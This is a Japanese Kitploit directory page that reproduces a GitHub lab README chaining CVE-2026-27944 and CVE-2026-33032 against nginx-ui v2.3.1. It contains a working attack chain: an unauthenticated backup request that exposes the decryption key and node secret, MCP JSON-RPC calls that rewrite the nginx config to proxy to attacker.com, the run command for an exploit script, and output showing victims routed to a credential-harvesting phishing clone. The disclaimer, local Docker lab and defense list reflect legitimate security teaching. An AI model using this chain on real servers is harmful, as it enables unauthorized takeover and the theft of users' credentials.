Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33032-nginx-ui-vuln-lab — Docker Compose を使用して nginx-ui の認証欠落の脆弱性を実証するためのセットアップ | Kitploit
ツール/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングラボと実践
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

Docker Compose を使用して nginx-ui の認証欠落の脆弱性を実証するためのセットアップ

リポジトリを見る
135ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-27944 + CVE-2026-33032 — nginx-ui ゼロ認証情報RCEラボ

免責事項: このリポジトリは教育目的および許可を得たセキュリティ研究のみを目的としています。ここで実演されるすべての技術は、所有しているシステムまたは明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。著者は誤用について一切の責任を負いません。許可なくいかなるシステムに対しても実行しないでください。

nginx-ui v2.3.1に対する2つのCVEの連鎖を実演する自己完結型のDocker Composeラボです。事前知識ゼロ(ユーザー名なし、パスワードなし、トークンなし)でnginxの完全な乗っ取りを達成します。


脆弱性チェーン

CVE-2026-27944 — 認証不要のバックアップエンドポイントと鍵の開示

GET /api/backup は認証を必要としません。このエンドポイントはnginx-uiインストールの暗号化バックアップ全体(app.iniを含む)を返し、AES-256-CBCの復号鍵とIVを平文でレスポンスヘッダーに含めて送信します:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

ソースコード(api/backup/router.go)より:

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ ミドルウェアなし
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

バックアップを復号するとapp.iniが得られ、ステップ2に必要な[node] Secretが含まれています。

CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 Critical
影響を受けるバージョンnginx-ui < 2.3.2
修正バージョンnginx-ui 2.3.3

CVE-2026-33032 "MCPwn" — 認証不要のMCPメッセージハンドラー

nginx-ui v2.3.xには、12個のnginx管理ツールを公開するModel Context Protocol (MCP) インターフェースが追加されました。このバグはmcp/router.goにおける単一のミドルウェア呼び出しの欠落です:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ AuthRequired()が欠落

ノードシークレットで取得したsessionIdを使用することで、攻撃者はユーザー認証情報なしで/mcp_messageにPOSTし、nginx_config_modifyやreload_nginxを含む任意の特権ツールを呼び出すことができます。

CVECVE-2026-33032
別名MCPwn (Pluto Security)
CVSS9.8 Critical
影響を受けるバージョンnginx-ui ≤ 2.3.3
修正バージョンnginx-ui 2.3.4

ラボ構成

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  Browser                                                  │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  Attacker                          ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) VULNERABLE │
│  (no credentials)          uozi/nginx-ui:v2.3.1          │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (green)          │  legitimate     │
│              │  proxy_pass default      │  login form     │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site (red)    │  phishing clone │
│              │  proxy_pass after attack │  harvests creds │
│              └─────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

nginx-uiは独自のnginxインスタンスをバンドルしています。エクスプロイトがMCP経由でreload_nginxを呼び出すと、:8080でトラフィックを処理している同じnginxがリロードされます — ホストへのアクセスは不要です。


クイックスタート

要件: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
URL
http://localhost:8080被害者サイト — 緑(正規)
http://localhost:9000nginx-ui管理パネル

エクスプロイトの実行

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

このスクリプトは事前の認証情報なしで両方のCVEを連鎖させます:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui Zero-Cred RCE
  Target : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — downloading backup (no auth)
[+] AES key+IV from header: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Node secret extracted: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — opening unauthenticated MCP session (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Recon — reading current config
[+] Current: proxy_pass http://webapp:80;

[*] Overwriting default.conf via POST /mcp_message (no auth)
[+] New:     proxy_pass http://malicious_site:80;

[*] Reloading nginx via POST /mcp_message (no auth)
[+] nginx reloaded — config is live

[!] Attack complete.
    Victims at http://localhost:8080/ are now served the phishing page.
    View captured credentials: http://localhost:8080/?debug=1

エクスプロイト後、http://localhost:8080は緑の正規ページから赤のフィッシングクローンに切り替わります — 同じURLのままで、被害者には一切気づかれません。

http://localhost:8080/?debug=1を開くと攻撃者パネルが表示され、リアルタイムで取得された認証情報を確認できます。

リセット

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

同じCVEチェーンを使用して元の設定を復元し、nginxをリロードします。


動作の仕組み

ステージ1 — ノードシークレットの抽出(CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: target:9000

レスポンス:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

提供された鍵/IVでzipを復号 → app.iniを抽出 → [node] Secretを読み取ります。

ステージ2 — nginxの乗っ取り(CVE-2026-33032)

リクエスト1 — SSEセッションを開く(ノードシークレット、ユーザー認証なし):

root@kitploit:~
GET /mcp?node_secret=<uuid>

SSEストリームがsessionIdで応答します。

リクエスト2以降 — ツールの呼び出し(認証は一切不要):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

Authorizationヘッダーなし。Cookieなし。AuthRequired()は/mcp_messageルートから単純に欠落しています。


利用可能なMCPツール(すべて認証なしでアクセス可能)

ツール影響
nginx_config_modify任意の設定ファイルを上書き
nginx_config_add新しい設定ファイルを作成
nginx_config_get任意の設定ファイルを読み取り
nginx_config_listすべての設定を一覧表示
nginx_config_enable/disableサイト設定の有効/無効を切り替え
nginx_config_rename設定ファイルの移動/名前変更
nginx_config_mkdirディレクトリを作成
nginx_config_history変更履歴を表示
nginx_config_base_path設定ルートパスを公開
nginx_statusnginxのステータスを確認
reload_nginx設定変更をライブで適用
restart_nginxnginxを完全再起動

防御策

  • パッチ適用 — nginx-ui ≥ 2.3.4にアップグレード
  • ネットワーク分離 — nginx-uiを信頼できないネットワークに公開しない。VPNまたはファイアウォールの背後に配置
  • IP許可リスト — app.iniに空でない[node] IPWhiteListを設定して、MCPアクセスを特定のIPに制限
  • MFA — 管理者アカウントに多要素認証を有効化
  • FIM — ファイル整合性監視(auditd、Wazuhなど)で/etc/nginx/conf.d/を監視
ツールをダウンロード